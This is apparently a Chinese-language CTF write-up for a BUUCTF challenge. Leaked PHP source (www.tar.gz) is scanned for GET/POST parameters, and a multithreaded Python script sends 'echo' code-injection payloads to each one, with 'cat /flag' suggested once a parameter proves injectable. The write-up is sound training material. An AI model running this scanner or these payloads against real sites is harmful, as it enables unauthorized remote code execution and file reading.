多个php文件寻找参数可利用点

多个php文件寻找参数可利用点

打开页面,可以看见www.tar.gz,可知是文件泄露,因此通过构造payload获取源码

发现源码有上千个文件,且文件中有许多的get和post参数的提交,因此,我们可以通过一个思路来写一个exp

1
2
3
4
5
6
首先我们要得到各个文件的get和post参数有哪些

其次我们要利用参数构造payload来传参
get提交payload:http://url/文件名?参数名=echo ~hahaha~;

最后看返回的信息中是否~hahaha~,如果有,则证明此参数可利用,而后构造cat%20/flag即可读取信息

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# _*_ coding:utf-8 _*_

import os
import requests
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES=8
session=requests.Session()
session.keep_alive=False

sem=threading.Semaphore(30) #设置线程数
url="http://647c1229-fdeb-4406-9775-cf4e0c33c9d4.node4.buuoj.cn:81/"
path=r"D:\比赛临时文档\buu\src\\"

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #获取get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #获取post参数

fileNames=os.listdir(path)
local_file=open("flag.txt","w",encoding="utf-8")

def run(fileName):
with sem:
file=open(path+fileName,'r',encoding='utf-8')
content=file.read()
print("[+]checking:%s"%fileName)
# get提交
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag="You Find it in GET fileName=%s and param=%s\n"%(fileName,i)
print(flag)
local_file.write(flag)
#post提交
# for i in rrPOST.findall(content):
# r=session.post(url+fileName,data={i:"echo ~h3zh1~;"})
# if "~h3zh1~" in r.text:
# flag= "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.write(flag)

if __name__=='__main__':
start_time=time.time()
print("[start]程序开始:"+str(start_time))
thread_list=[]
for fileName in fileNames:
t=threading.Thread(target=run,args=(fileName,))
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time=time.time()
local_file.close()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))

可以搭建环境,url设置为http://127.0.0.1/sqli/src/(看自己文件的位置),但是php版本要在7以上,否则会报错